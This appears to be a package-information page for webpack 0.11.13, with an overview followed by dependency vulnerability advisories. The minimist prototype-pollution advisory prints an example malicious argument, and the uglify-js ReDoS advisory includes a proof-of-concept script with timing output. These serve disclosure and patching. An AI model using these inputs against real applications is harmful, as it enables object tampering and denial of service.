Webpack version 0.11.13 arrived on December 13, 2013, just two days after version 0.11.12, suggesting a quick patch or minor update. For developers, both versions offer the core functionality of webpack: bundling CommonJs, AMD, and labeled modules for browser deployment. This includes splitting codebases into manageable chunks for on-demand loading, optimizing initial load times. The library's strength lies in its support for loaders, preprocessing files like JSON, Jade, CoffeeScript, CSS, and Less, and enabling custom transformations.
Examining the dependencies and devDependencies sections of both packages reveals no functional differences between them. Both lists are identical, suggesting that the update focused on internal improvements or bug fixes. This means that developers can expect the same set of features and loader compatibility, regardless of whether they choose version 0.11.12 or 0.11.13.
While the changes between these specific versions might be subtle, understanding their purpose, possibly bug fixes or internal improvements, empowers developers to make informed decisions about updates. Webpack, even in these older versions, provides a powerful and adaptable solution for managing front-end assets. Developers interested in historical context or encountering issues with a specific loader version might find the detailed package information useful for troubleshooting or recreating specific build environments.
All the vulnerabilities related to the version 0.11.13 of the package
Prototype Pollution in minimist
Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.